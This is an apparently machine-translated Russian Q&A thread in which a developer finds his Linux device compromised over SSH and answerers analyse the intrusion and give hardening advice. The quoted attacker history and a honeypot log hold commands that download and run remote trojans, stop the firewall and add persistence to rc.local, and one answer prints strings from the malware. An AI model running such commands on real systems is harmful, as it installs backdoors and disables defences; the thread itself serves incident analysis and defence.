Меня только что взломали?

Я разрабатываю потребительский продукт, и он должен быть подключен к Интернету, так что, как и ожидалось, он подключен к Интернету, чтобы я мог правильно его разработать.

Я ушел на час или два, и когда я вернулся в свой офис, я заметил некоторые странные команды, написанные в терминале.

Глядя на файл журнала Linux под названием, auth.logя вижу следующие строки (среди многих других):

Feb  1 10:45:10 debian-armhf sshd[994]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=40.127.205.162  user=root
Feb  1 10:45:12 debian-armhf sshd[994]: Failed password for root from 40.127.205.162 port 37198 ssh2
Feb  1 10:45:12 debian-armhf sshd[994]: Received disconnect from 40.127.205.162: 11: Bye Bye [preauth]

40.127.205.162Оказывается, IP-адрес принадлежит Microsoft .

Вот несколько команд, которые использовались, пока меня не было:

  355  service iptables stop
  356  cd /tmp
  357  wget http://222.186.30.209:65534/yjz1
  358  chmod 0755 /tmp/yjz1
  359  nohup /tmp/yjz1 > /dev/null 2>&1 &
  360  chmod 777 yjz1
  361  ./yjz1
  362  chmod 0755 /tmp/yjz1
  363  nohup /tmp/yjz1 > /dev/null 2>&1 &
  364  chmod 0777 yjz1
  365  chmod u+x yjz1
  366  ./yjz1 &
  367  chmod u+x yjz1
  368  ./yjz1 &
  369  wget http://222.186.30.209:65534/yjz
  370  chmod 0755 /tmp/yjz
  371  nohup /tmp/yjz > /dev/null 2>&1 &
  372  chmod 777 yjz
  373  ./yjz
  374  chmod 0755 /tmp/yjz
  375  nohup /tmp/yjz > /dev/null 2>&1 &
  376  chmod u+x yjz
  377  ./yjz &
  378  chmod u+x yjz
  379  ./yjz &
  380  cd /tmp
  381  echo "cd  /tmp/">>/etc/rc.local
  382  service iptables stop
  383  cd /tmp
  384  wget http://222.186.30.209:65534/yjz1
  385  chmod 0755 /tmp/yjz1
  386  nohup /tmp/yjz1 > /dev/null 2>&1 &
  387  chmod 777 yjz1
  388  ./yjz1
  389  chmod 0755 /tmp/yjz1
  390  nohup /tmp/yjz1 > /dev/null 2>&1 &
  391  chmod u+x yjz1
  392  ./yjz1 &
  393  chmod 0777 yjz1
  394  ./yjz1 &
  395  echo "cd  /tmp/">>/etc/rc.local
  396  service iptables stop
  397  wget http://222.186.30.209:65534/yjz1
  398  chmod 0755 /root/yjz1
  399  nohup /root/yjz1 > /dev/null 2>&1 &
  400  chmod 777 yjz1
  401  ./yjz1
  402  chmod 0755 /root/yjz1
  403  nohup /root/yjz1 > /dev/null 2>&1 &
  404  chmod u+x yjz1
  405  ./yjz1 &
  406  chmod 0777 yjz1
  407  ./yjz1 &
  408  echo "cd  /root/">>/etc/rc.local
  409  cd /tmp
  410  service iptables stop
  411  wget http://222.186.30.209:65534/yjz1
  412  chmod 0755 /tmp/yjz1
  413  nohup /tmp/yjz1 > /dev/null 2>&1 &
  414  chmod 777 yjz1
  415  ./yjz1 &
  416  cd /etc
  417  echo "cd /root/">>/etc/rc.local
  418  echo "./yjz1&">>/etc/rc.local
  419  echo "./yjz1&">>/etc/rc.local
  420  echo "/etc/init.d/iptables stop">>/etc/rc.local
  421  cd /tmp
  422  service iptables stop
  423  wget http://222.186.30.209:65534/yjz1
  424  chmod 0755 /tmp/yjz1
  425  nohup /tmp/yjz1 > /dev/null 2>&1 &
  426  chmod 777 yjz1
  427  ./yjz1 &
  428  cd /etc
  429  echo "cd /root/">>/etc/rc.local
  430  echo "./yjz1&">>/etc/rc.local
  431  echo "./yjz1&">>/etc/rc.local
  432  echo "/etc/init.d/iptables stop">>/etc/rc.local
  433  cd /tmp
  434  service iptables stop
  435  wget http://222.186.30.209:65534/yjz1
  436  chmod 0755 /tmp/yjz1
  437  nohup /tmp/yjz1 > /dev/null 2>&1 &
  438  chmod 777 yjz1
  439  ./yjz1 &
  440  cd /etc
  441  echo "cd /root/">>/etc/rc.local
  442  echo "./yjz1&">>/etc/rc.local
  443  echo "./yjz1&">>/etc/rc.local
  444  echo "/etc/init.d/iptables stop">>/etc/rc.local
  445  service iptables stop
  446  wget http://222.186.30.209:65534/yjz1
  447  chmod 0755 /root/yjz1
  448  nohup /root/yjz1 > /dev/null 2>&1 &
  449  chmod 777 yjz1
  450  ./yjz1
  451  chmod 0755 /root/yjz1
  452  nohup /root/yjz1 > /dev/null 2>&1 &
  453  chmod 0777 yjz1
  454  chmod u+x yjz1
  455  ./yjz1 &
  456  chmod u+x yjz1
  457  ./yjz1 &

И более:

  481  service iptables stop
  482  wget http://222.186.30.209:65534/yjz1
  483  chmod 0755 /root/yjz1
  484  nohup /root/yjz1 > /dev/null 2>&1 &
  485  chmod 777 yjz1
  486  ./yjz1
  487  chmod 0755 /root/yjz1
  488  nohup /root/yjz1 > /dev/null 2>&1 &
  489  chmod 0777 yjz1
  490  chmod u+x yjz1
  491  ./yjz1 &
  492  chmod u+x yjz1
  493  ./yjz1 &
  494  cd /tmp
  495  service iptables stop
  496  wget http://175.102.133.55:2/yjz
  497  ./yd_cd/make
  498  service iptables stop
  499  service iptables stop
  500  wget http://222.186.30.209:65534/yjz1

Я был совершенно не в курсе этого. Как правильно защитить свой продукт?

Я хотел бы опубликовать полный auth.logфайл. Как мне это сделать?

Кроме того yjz1, загруженный файл , по-видимому, является трояном Linux, и все это, похоже, выполняется какой-то хакерской группой в соответствии с http://anti-hacker-alliance.com/index.php?ip=40.127.205.162.

Должен ли я позвонить в Microsoft и поговорить с ними? Что я должен делать?

РЕДАКТИРОВАТЬ 2 :

Есть одна веская причина, по которой этот пост привлекает такое большое внимание: вам удалось записать на своем компьютере целую живую сессию злоумышленника. Это очень отличается от нашего повседневного опыта, когда мы имеем дело с обнаружением последствий его действий и пытаемся исправить их. Здесь мы видим его на работе, видим, что у него есть некоторые проблемы с установкой черного хода, проследить его шаги, лихорадочно работать (возможно, потому что он сидел за вашим столом, как предложено выше, или, возможно, и, на мой взгляд, более вероятно, потому что он был не в состоянии заставить свою вредоносную программу работать в системе, прочитайте ниже), и попытайтесь развернуть полностью автономные инструменты контроля. Это то, что исследователи безопасности ежедневно наблюдают со своими ловушками . Для меня это очень редкий шанс и источник некоторых развлечений.

Вы определенно были взломаны. Доказательства это не происходят из фрагмента из auth.logфайла, отображаемого, поскольку это сообщает неудачную попытку входа, происходит в течение короткого промежутка времени (два ИКС). Вы заметите, что вторая строка сообщает Failed password, а третья сообщает об pre-authотключении: парень попытался и потерпел неудачу.

Доказательства приходят вместо от содержания двух файлов http://222.186.30.209:65534/yjzи http://222.186.30.209:65534/yjz1которые злоумышленник загруженных на вашу систему.

Сайт в настоящее время открыт для всех желающих их скачать, что я и сделал. Я сначала побежал fileна них, которые показали:

$ file y*
yjz:      ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
yjz1:     ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped

Затем я перенес их на имеющуюся у меня 64-битную виртуальную машину Debian; проверка их содержимого с помощью stringsкоманды показала много подозрительного (ссылки на различные известные атаки, команды, которые должны быть заменены, скрипт, который явно использовался для настройки новой службы и т. д.).

Затем я создал MD5-хэши обоих файлов и передал их в хеш-базу данных Cymru, чтобы узнать, являются ли они известными агентами вредоносного ПО. Пока yjzнет, yjz1есть, и Cymru сообщает о вероятности обнаружения антивирусным программным обеспечением 58%. В нем также говорится, что этот файл в последний раз видели около трех дней назад, так что это достаточно недавно.

Запуск clamscan (часть clamavпакета) для двух полученных мной файлов:

$ clamscan y*
yjz: Linux.Backdoor.Gates FOUND
yjz1: Linux.Trojan.Xorddos FOUND

так что теперь мы уверены, что стандартное программное обеспечение Linux может идентифицировать его.

Что вы должны сделать?

Хотя и довольно новая, ни одна из систем не очень новая, см. , Например , эту статью за январь 2015 года о XorDdos . Поэтому большинство бесплатных пакетов должно быть в состоянии удалить его. Вы должны попробовать: clamav, rkhunter, chkrootkit. Я погуглил вокруг и увидел, что они утверждают, что могут его заметить. Используйте их для проверки работы предшественника, но после запуска этих трех программ вы должны быть готовы к работе.

Что касается более крупного вопроса what should you do to prevent future infections, ответ Journeyman - хороший первый шаг. Просто помните, что это постоянная борьба, которую все мы (включая меня!) Вполне могли проиграть, даже не зная об этом.

РЕДАКТИРОВАТЬ :

По косвенной подсказке Виктора Тота я хотел бы добавить несколько комментариев. Конечно, злоумышленник столкнулся с некоторыми трудностями: он загружает два разных хакерских инструмента, несколько раз меняет их разрешения, несколько раз перезапускает и много раз пытается отключить брандмауэр. Легко догадаться, что происходит: он ожидает, что его хакерские инструменты откроют канал связи с одним из его зараженных ПК (см. Позже), и, когда он не видит, что этот новый канал появляется на его контрольном интерфейсе, боится его взлома. Инструмент блокируется брандмауэром, поэтому он повторяет процедуру установки. Я согласен с Виктором Тотом, что этот конкретный этап его операции, похоже, не приносит ожидаемых результатов, но я хотел бы вас очень воодушевить не стоит недооценивать степень ущерба, нанесенного вашему компьютеру.

Я приведу здесь частичный вывод strings yjz1:

etc/init.d/%s
/etc/rc%d.d/S90%s
--del
chkconfig
remove
update-rc.d
/etc/cron.hourly/gcc4.sh
/etc/rc.d/rc%d.d/S90%s
--add
defaults
/proc/%d/exe
/proc/self/exe
HOME=/
MYSQL_HISTFILE=/dev/null
#!/bin/sh
# chkconfig: 12345 90 90
# description: %s
### BEGIN INIT INFO
# Provides:             %s
# Required-Start:
# Required-Stop:
# Default-Start:        1 2 3 4 5
# Default-Stop:
# Short-Description:    %s
### END INIT INFO
case $1 in
start)
stop)
esac
sed -i '/\/etc\/cron.hourly\/gcc4.sh/d' /etc/crontab && echo '*/3 * * * * root /etc/cron.hourly/gcc4.sh' >> /etc/crontab
etc/init.d/%s
GET %s HTTP/1.1
%sHost: %s
POST %s HTTP/1.1
%sHost: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
%s%s
Accept: */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1;      TencentTraveler ; .NET CLR 1.1.4322)
Connection: Keep-Alive

Это свидетельствует о вмешательстве в службы (в /etc/init.dи в /etc/rc.d) crontab, в файл истории mysqlи в пару файлов, на procкоторые есть ссылки bash(что указывает на то, что была установлена ​​специальная мошенническая версия вашей оболочки). Затем программа генерирует HTTP-запрос (на китайскоязычный сайт,

 Accept-Language: zh-cn

что дает основание для комментария Дэвида Шварца выше), что может создать еще больший хаос. В запросе исполняемые файлы ( Content-Type: application/x-www-form-urlencoded) должны быть загружены на атакованный компьютер (GET) и загружены на управляющий компьютер (POST). Я не мог определить , что будет загружен на атакуемого компьютера, но, учитывая небольшой размер как yjzи yjz1(1.1MB и 600KB, repectively), я могу рискну предположить , что большинство файлов , необходимых для прикрытия руткита, то есть измененный версии ls, netstat, ps, ifconfig, ..., будет загружен этот путь. И это объясняет лихорадочные попытки злоумышленника запустить эту загрузку.

Нет уверенности в том, что вышесказанное исчерпывает все возможности: нам, безусловно, не хватает части стенограммы (между строками 457 и 481), и мы не видим выхода из системы; кроме того, особенно тревожат линии 495-497,

cd /tmp;  ./yd_cd/make

которые ссылаются на файл, который мы не видели загруженным, и который может быть компиляцией: если это так, это означает, что злоумышленник (наконец-то?) понял, в чем заключалась проблема с его исполняемыми файлами, и пытается ее исправить, и в этом случае атакованный компьютер ушел навсегда. [На самом деле две версии вредоносного ПО, загруженного злоумышленником на взломанную машину (а я на мою 64-битную виртуальную машину Debian), предназначены для неподходящей архитектуры, x86, в то время как одно только имя взломанного компьютера выдает тот факт, что он имел дело с архитектурой руки].

Причина, по которой я написал эту редакцию, состоит в том, чтобы как можно сильнее убедить вас либо расчистить вашу систему профессиональным инструментом, либо переустановить ее с нуля.

И, кстати, если это окажется полезным для всех, это список из 331 IP-адресов, к которым yjzпытается подключиться. Этот список настолько велик (и, вероятно, ему суждено стать еще больше), что я считаю, что это причина подделки mysql. Список, предоставленный другим бэкдором, идентичен, что, как я полагаю, является причиной того, что такая важная часть информации остается открытой (я думаю, что злоумышленник не хотел прилагать усилия для сохранения их в формате ядра, поэтому он поместил весь список в открытый текстовый файл, который, вероятно, был прочитан всеми его бэкдорами для любой ОС):

61.132.163.68
202.102.192.68
202.102.213.68
202.102.200.101
58.242.2.2
202.38.64.1
211.91.88.129
211.138.180.2
218.104.78.2
202.102.199.68
202.175.3.3
202.175.3.8
202.112.144.30
61.233.9.9
61.233.9.61
124.207.160.110
202.97.7.6
202.97.7.17
202.106.0.20
202.106.46.151
202.106.195.68
202.106.196.115
202.106.196.212
202.106.196.228
202.106.196.230
202.106.196.232
202.106.196.237
202.112.112.10
211.136.17.107
211.136.28.231
211.136.28.234
211.136.28.237
211.147.6.3
219.141.136.10
219.141.140.10
219.141.148.37
219.141.148.39
219.239.26.42
221.130.32.100
221.130.32.103
221.130.32.106
221.130.32.109
221.130.33.52
221.130.33.60
221.176.3.70
221.176.3.73
221.176.3.76
221.176.3.79
221.176.3.83
221.176.3.85
221.176.4.6
221.176.4.9
221.176.4.12
221.176.4.15
221.176.4.18
221.176.4.21
58.22.96.66
218.104.128.106
202.101.98.55
211.138.145.194
211.138.151.161
211.138.156.66
218.85.152.99
218.85.157.99
222.47.29.93
202.101.107.85
119.233.255.228
222.47.62.142
122.72.33.240
211.98.121.27
218.203.160.194
221.7.34.10
61.235.70.98
113.111.211.22
202.96.128.68
202.96.128.86
202.96.128.166
210.21.3.140
210.21.4.130
211.95.193.97
211.98.2.4
211.98.4.1
211.162.61.225
211.162.61.235
211.162.61.255
211.162.62.1
211.162.62.60
221.4.66.66
202.103.176.22
202.96.144.47
210.38.192.33
202.96.134.33
202.96.134.133
202.96.154.15
210.21.196.6
221.5.88.88
202.103.243.112
202.193.64.33
61.235.164.13
61.235.164.18
202.103.225.68
221.7.136.68
202.103.224.68
211.97.64.129
211.138.240.100
211.138.242.18
211.138.245.180
221.7.128.68
222.52.118.162
202.98.192.67
202.98.198.167
211.92.136.81
211.139.1.3
211.139.2.18
202.100.192.68
211.97.96.65
211.138.164.6
221.11.132.2
202.100.199.8
202.99.160.68
202.99.166.4
202.99.168.8
222.222.222.222
202.102.224.68
202.102.227.68
222.85.85.85
222.88.88.88
210.42.241.1
202.196.64.1
112.100.100.100
202.97.224.68
219.235.127.1
61.236.93.33
211.93.24.129
211.137.241.34
219.147.198.230
202.103.0.68
202.103.0.117
202.103.24.68
202.103.44.150
202.114.0.242
202.114.240.6
211.161.158.11
211.161.159.3
218.104.111.114
218.104.111.122
218.106.127.114
218.106.127.122
221.232.129.30
59.51.78.210
61.234.254.5
202.103.96.112
219.72.225.253
222.243.129.81
222.246.129.80
211.142.210.98
211.142.210.100
220.168.208.3
220.168.208.6
220.170.64.68
218.76.192.100
61.187.98.3
61.187.98.6
202.98.0.68
211.93.64.129
211.141.16.99
202.98.5.68
219.149.194.55
211.138.200.69
202.102.3.141
202.102.3.144
58.240.57.33
112.4.0.55
114.114.114.114
114.114.115.115
202.102.24.34
218.2.135.1
221.6.4.66
221.131.143.69
202.102.8.141
222.45.0.110
61.177.7.1
218.104.32.106
211.103.13.101
221.228.255.1
61.147.37.1
222.45.1.40
58.241.208.46
202.102.9.141
202.102.7.90
202.101.224.68
202.101.226.68
211.141.90.68
211.137.32.178
202.96.69.38
211.140.197.58
219.149.6.99
202.96.86.18
101.47.189.10
101.47.189.18
118.29.249.50
118.29.249.54
202.96.64.68
202.96.75.68
202.118.1.29
202.118.1.53
219.148.204.66
202.99.224.8
202.99.224.67
211.90.72.65
211.138.91.1
218.203.101.3
202.100.96.68
211.93.0.81
222.75.152.129
211.138.75.123
202.102.154.3
202.102.152.3
219.146.1.66
219.147.1.66
202.102.128.68
202.102.134.68
211.138.106.19
211.90.80.65
202.99.192.66
202.99.192.68
61.134.1.4
202.117.96.5
202.117.96.10
218.30.19.40
218.30.19.50
116.228.111.118
180.168.255.18
202.96.209.5
202.96.209.133
202.101.6.2
211.95.1.97
211.95.72.1
211.136.112.50
211.136.150.66
119.6.6.6
124.161.97.234
124.161.97.238
124.161.97.242
61.139.2.69
202.98.96.68
202.115.32.36
202.115.32.39
218.6.200.139
218.89.0.124
61.139.54.66
61.139.39.73
139.175.10.20
139.175.55.244
139.175.150.20
139.175.252.16
168.95.1.1
210.200.211.193
210.200.211.225
211.78.130.1
61.31.1.1
61.31.233.1
168.95.192.1
168.95.192.174
61.60.224.3
61.60.224.5
202.113.16.10
202.113.16.11
202.99.96.68
202.99.104.68
211.137.160.5
211.137.160.185
219.150.32.132
202.98.224.68
211.139.73.34
61.10.0.130
61.10.1.130
202.14.67.4
202.14.67.14
202.45.84.58
202.45.84.67
202.60.252.8
202.85.128.32
203.80.96.9
203.142.100.18
203.142.100.21
203.186.94.20
203.186.94.241
221.7.1.20
61.128.114.133
61.128.114.166
218.202.152.130
61.166.150.123
202.203.128.33
211.98.72.7
211.139.29.68
211.139.29.150
211.139.29.170
221.3.131.11
222.172.200.68
61.166.150.101
61.166.150.139
202.203.144.33
202.203.160.33
202.203.192.33
202.203.208.33
202.203.224.33
211.92.144.161
222.221.5.240
61.166.25.129
202.96.103.36
221.12.1.227
221.130.252.200
222.46.120.5
202.96.96.68
218.108.248.219
218.108.248.245
61.130.254.34
60.191.244.5
202.96.104.15
202.96.104.26
221.12.33.227
202.96.107.27
61.128.128.68
61.128.192.68
218.201.17.2
221.5.203.86
221.5.203.90
221.5.203.98
221.7.92.86
221.7.92.98

Следующий код

 #!/bin/bash
 echo 0 > out
 while read i; do
       whois $i | grep -m 1 -i country >> out
 done < filename
 cat out | grep -i cn | wc -l

Из приведенного выше списка видно, что 302 из 331 адресов находятся в материковом Китае, остальные - в Гонконге, Монголии, Тайване. Это добавляет дополнительную поддержку утверждению Дэвида Шварца, что это в основном китайский бот-ринг.

РЕДАКТИРОВАТЬ 3

По запросу @ vaid (автор ОП, прочитайте его комментарий ниже) я добавлю комментарий о том, как усилить безопасность базовой системы Linux (для системы, предоставляющей много сервисов, это гораздо более сложная тема). vaidутверждает, что он сделал следующее:

1. Переустановите систему

2. изменил пароль root на 16-значный пароль со смешанными строчными и прописными буквами, а также символами и цифрами.

3. Изменил имя пользователя на 6-символьное длинное имя пользователя и применил тот же пароль, что и для пользователя root

4. изменил порт SSH на что-то выше 5000

5. отключил вход по SSH root.

Это нормально (за исключением того, что я использую порт выше 10000, так как многие полезные программы используют порты ниже 10000). Но я не могу особо подчеркнуть необходимость использования криптографических ключей для входа по ssh вместо паролей. Я приведу вам личный пример. На одном из моих VPS я не был уверен, стоит ли менять порт ssh; Я оставил его на 22, но использовал криптографические ключи для аутентификации. У меня были сотни попыток взлома в день , но ни одна из них не удалась. Когда, устав от ежедневной проверки того, что ни у кого ничего не получилось, я в итоге переключил порт на что-то более 10000, попытки взлома обнулились. Имейте в виду, дело не в том, что хакеры глупы (они не таковы!), Они просто выслеживают более легкую добычу.

Ключ шифрования легко активировать с помощью RSA в качестве алгоритма подписи, см. Комментарий Яна Худека ниже (спасибо!):

 cd; mkdir .ssh; chmod 700 .ssh; cd .ssh; ssh-keygen -t rsa (then hit <kbd>ENTER>/kbd> three times); cat id_rsa.pub >> authorized_keys; chmod 600 *

Теперь все, что вам нужно сделать, это скопировать файл id_rsaна компьютер, к которому вы хотите подключиться (в каталоге .ssh, также с chmodименем 700), затем выполнить команду

ssh -p YourChosenNonStandardPort -i ~/.ssh/id_rsa me@RemoteMachine

Если вы уверены, что это работает, отредактируйте на сервере (= машине, к которой вы хотите подключиться) файл /etc/ssh/sshd_configи измените строку

#PasswordAuthentication yes

в

PasswordAuthentication no

и перезапустите sshсервис ( service ssh restartили systemctl restart ssh, или что-то в этом роде, в зависимости от дистрибутива).

Это выдержит многое. На самом деле, в настоящее время нет известных эксплойтов против текущих версий openssh v2RSA и их использования openssh v2.

Наконец, для того, чтобы по-настоящему сбить с толку вашу машину, вам необходимо настроить брандмауэр (netfilter / iptables) следующим образом:

 iptables -A INPUT -p tcp --dport YourChosenNonStandardPort -j ACCEPT
 iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
 iptables -P INPUT DROP
 iptables -P OUTPUT ACCEPT
 iptables -A INPUT -i lo -j ACCEPT
 iptables -A OUTPUT -o lo -j ACCEPT

Это: 1) разрешает ssh-соединения как из локальной сети, так и из глобальной сети, 2) разрешает весь ввод, созданный вашими запросами (например, при загрузке веб-страницы), 3) отбрасывает все остальное на входе, 4) разрешает все, что включено вывод, и 5-6) позволяет все на петлевой интерфейс.

По мере роста ваших потребностей и необходимости открывать больше портов, вы можете сделать это, добавив вверху списка такие правила:

 iptables -A INPUT -p tcp --dport 80 -j ACCEPT

например, чтобы люди могли получить доступ к вашему веб-браузеру.

Добро пожаловать в Интернет - где любой открытый SSH-сервер, вероятно, будет подвергнут зондированию, грубому принуждению и получению различных унижений.

Для начала необходимо полностью стереть хранилище на продукте. Представьте его, если вы хотите передать его для экспертизы, но установка Linux на нем теперь подозрительна.

Немного догадок, но

1. Вы получили перебор или используете общий пароль. Это безопасность по неясности, но вам не нужен пароль словаря или использование учетной записи root, открытой для SSH. Отключите корневой доступ по SSH, если это опция, или хотя бы измените имя, поэтому им нужно угадать оба. В любом случае, SSHing как root - ужасная практика безопасности. Если вам необходимо использовать root, войдите в систему как другой пользователь и используйте su или sudo для переключения.

2. В зависимости от продукта может потребоваться каким-либо образом заблокировать доступ по SSH. Полная блокировка звучит как хорошая идея и позволяет пользователям открывать ее по мере необходимости . В зависимости от того, какие ресурсы вы можете сэкономить, рассмотрите возможность использования только IP-адресов в вашей собственной подсети или какой-либо системе регулирования входа в систему. Если вам не нужен конечный продукт, убедитесь, что он выключен.

3. Используйте нестандартный порт. Опять безопасность от неясности, но это означает, что злоумышленник должен нацелиться на ваш порт.

4. Никогда не используйте пароль по умолчанию. Лучший подход, который я видел, - это случайное генерирование пароля для конкретного устройства и его поставка вместе с вашим продуктом. Лучшая практика - аутентификация на основе ключей, но я не знаю, как вы подходите к этому на массовом рынке.

О, ты определенно был взломан. Похоже, кто-то смог получить учетные данные root и попытался загрузить троянец в вашу систему. MariusMatutiae предоставил анализ полезной нагрузки.

Возникают два вопроса: а) Был ли злоумышленник успешным? И б) что вы можете с этим поделать?

Ответ на первый вопрос может быть нет. Обратите внимание, как злоумышленник постоянно пытается загрузить и запустить полезную нагрузку, по-видимому, безуспешно. Я подозреваю, что что-то (SELinux, случайно?) Стояло у него на пути.

ОДНАКО: злоумышленник также изменил ваш /etc/rc.d/rc.localфайл, в надежде, что при перезапуске вашей системы, полезная нагрузка будет активирована. Если вы еще не перезапустили систему, не перезапускайте ее, пока не удалите эти изменения из /etc/rc.d/rc.local. Если вы уже перезапустили его ... ну, не повезло.

Что вы можете с этим поделать: Самое безопасное, что нужно сделать, это стереть систему и переустановить ее с нуля. Но это не всегда может быть вариантом. Гораздо менее безопасная вещь - это проанализировать, что именно произошло, и стереть все следы, если можете. Опять же, если вы еще не перезапустили систему, возможно, все, что нужно, это очистить /etc/rc.d/rc.local, удалить все, что было загружено злоумышленником, и, что не менее важно , изменить чертов пароль!

Однако, если злоумышленник уже смог запустить полезную нагрузку, в вашей системе могут быть другие модификации, которые могут быть трудно обнаружить. Вот почему полная очистка - действительно единственный безопасный (и рекомендуемый) вариант. Как вы указали, рассматриваемое оборудование может быть целью тестирования / разработки, поэтому, возможно, его стирание не так болезненно, как в других случаях.

Обновление : несмотря на то, что я написал о возможном восстановлении, я хотел бы повторить очень сильную рекомендацию MariusMatutiae не недооценивать потенциальный ущерб, причиненный этой полезной нагрузкой, и степень, в которой она могла бы скомпрометировать целевую систему.

Мой sshd-honeypot также видел этот вид атаки. Первые загрузки с этого URL начались 2016-01-29 10:25:33 и атаки все еще продолжаются. Атаки идут

103.30.4.212
111.68.6.170
118.193.228.169

Вход от этих злоумышленников был:

остановка сервиса iptables
wget http://222.186.30.209:65534/yjz1
nohup / root / yjz1> / dev / null 2> & 1 &
chmod 0777 yjz1
chmod u + x yjz1
./yjz1 &
chmod u + x yjz1
./yjz1 &
CD / TMP

Так что никаких действий, кроме установки бэкдора на потом.

Все здесь предлагают твердые советы, но, для ясности, ваши приоритеты должны быть в резервном копировании и проверке того, что вам действительно нужно из этой системы, а затем в новой установке с известных безопасных носителей.

Прежде чем подключить недавно установленный хост к Интернету, ознакомьтесь с этими идеями:

1. Создайте нового пользователя без полномочий root и войдите в систему как этот пользователь. Вы никогда не должны входить в систему как root, просто sudo (замещающий пользователь), когда это необходимо.

2. Установите SE Linux, параметры конфигурации, которые включают обязательный контроль доступа: https://wiki.debian.org/SELinux/Setup

3. Рассмотрим аппаратный брандмауэр между вашим офисом / домом и Интернетом. Я использую MicroTik, который имеет отличную поддержку сообщества: http://routerboard.com/ .

Предполагая, что у вас есть сроки для завершения вашей оплачиваемой работы, по крайней мере, сделать # 1. № 3 быстро и дешево, но вам нужно будет либо подождать посылку по почте, либо доехать до магазина.

1. Является ли debian-armhf вашим именем хоста? Или вы используете установку по умолчанию с настройками по умолчанию? В этом нет никаких проблем, но вы не должны позволять хосту быть напрямую подключенным к Интернету (т.е., по крайней мере, не защищенным вашим модемом).

2. Похоже , что реальная проблема исходит от 222.186.30.209 (см http://anti-hacker-alliance.com/index.php?ip=222.186.30.209 ). Вы не должны обращать особого внимания на просмотр IP-адреса Microsoft. IP-адреса могут быть более или менее легко подделаны / подделаны.

3. Обычным способом подключения к Интернету является пересылка известного списка портов с вашего общедоступного IP-адреса (например, 8.8.8.8) на ваш локальный (например, 192.168.1.12).

   • Например, не перенаправляйте все входящие соединения с 8.8.8.8 (общедоступные) на 192.168.1.12 (локальные).

   • Переадресация только на порты 22 и 25 (ssh и входящая почта соответственно). Разумеется, у вас должны быть обновленные ssh и smtp пакеты / библиотеки.

4. Что дальше? Отключите хост, и изменить пароли (на любых компьютерах , связанных с организацией), которые жестко прописаны в сценарии оболочки (позор вам!) В /etc/shadow.

Как говорили другие, совершенно очевидно, что безопасность вашего сервера была нарушена. Самое безопасное - это стереть эту машину и переустановить.

Чтобы ответить на вторую часть вашего вопроса, если вы не можете использовать аутентификацию с открытым ключом, я рекомендую хотя бы настроить Fail2Ban и запустить SSH на нестандартном порту. Я также отключаю корневой доступ по SSH.

Fail2Ban поможет смягчить атаки методом перебора, запретив IP-адреса, которые не могут войти в систему определенное количество раз.

Настройка прослушивания sshd на нестандартный порт, по крайней мере, поможет немного уменьшить видимость вашего SSH-сервера. Отключение входа в систему root также немного уменьшает профиль атаки. В /etc/sshd_config:

PermitRootLogin no
Port xxxxx

Когда root-вход отключен, вам нужно будет либо переключиться на root suпосле подключения, либо (более предпочтительно) использовать sudoдля выполнения привилегированных команд.

SSH серверы постоянно подвергаются атакам в интернете. Пара вещей, которые вы делаете:

1. Убедитесь, что вы используете очень безопасный случайный пароль для компьютеров, доступных через Интернет. Я имею в виду, как 16 или более символов и совершенно случайно. Используйте менеджер паролей, чтобы вам не пришлось его запоминать. Если вы можете запомнить свой пароль, это слишком просто.

2. Если вам не нужен SSH, выключите его. Если вам это нужно, но не нужно, чтобы он был общедоступным, запустите его с большим нестандартным номером порта. Это значительно сократит количество попыток взлома. Да, выделенный хакер может выполнить сканирование портов, но автоматизированные боты не найдут его.

Фрагмент из вашего журнала авторизации показывает неудачную попытку. Однако, если вы посмотрите дальше, вы, несомненно, увидите успешный вход в систему. Если вы используете простой пароль, то для бота это тривиально.

Вам нужно изолировать эту машину от сети. Очень осторожно достаньте то, что вам нужно, а затем вытрите.

Первое, что должен сделать каждый / каждый после настройки фронтального сервера Linux / Unix, - это немедленно отключить его root.

Ваша система была взломана. У вас есть журнал истории выполнения, который может быть интересным для просмотра. Но, честно говоря, разбираться в деталях немного придирчиво, и это не поможет вам защитить ваш сервер. Он показывает всякую чепуху, которая возникает, когда ботнет порождает вредоносное ПО, которое, скорее всего, заразило ваш сервер, заражает систему Linux. Ответ предоставляется @MariusMatutiae красиво и хорошо продуман и есть другие , которые повторяют , что вы были взломаны с помощью rootдоступа, мокрая мечта вредоносного / ботнета.

Есть несколько объяснений о том, как отключить, rootно я констатирую из личного опыта, большинство всего, что выходит за рамки того, что я сейчас опишу, является излишним. Вот что вы должны были сделать при первой настройке сервера:

1. Создайте нового пользователя с sudoправами: создайте нового пользователя с новым именем - что-то вроде cooldudeэтого - используя команду, например, sudo adduser cooldudeесли вы используете Ubuntu или систему Debian другого типа. Затем просто вручную отредактируйте sudoфайл, используя команду, подобную этой, sudo nano /etc/sudoersи добавьте строку, подобную cooldude ALL=(ALL:ALL) ALLэквивалентной строке, которая должна читаться root ALL=(ALL:ALL) ALL. После этого войдите в систему как cooldudeи протестируйте sudoкоманду с помощью команды, такой как sudo wчто-то простое и неразрушающее, чтобы увидеть, sudoработают ли права. Вам может быть предложено ввести пароль. Это работает? Все хорошо! Перейдите к следующему шагу.
2. Блокировка rootучетной записи: Хорошо, теперь, когда у вас cooldudeесть sudoправа, войдите в систему cooldudeи выполните эту команду, чтобы заблокировать учетную запись root sudo passwd -l root. Если вы как-то создали пару ключей SSH root, откройте /root/.ssh/authorized_keysи удалите ключи. Или, что еще лучше, просто переименуйте этот файл authorized_keys_OFFследующим образом, sudo mv /root/.ssh/authorized_keys /root/.ssh/authorized_keys_OFFчтобы эффективно отключить ключи SSH. Я предпочитаю позже, потому что по случайному случаю вам все еще нужен пароль без логина, вы можете просто переместить этот файл обратно к исходному имени, и вы должны быть готовы.

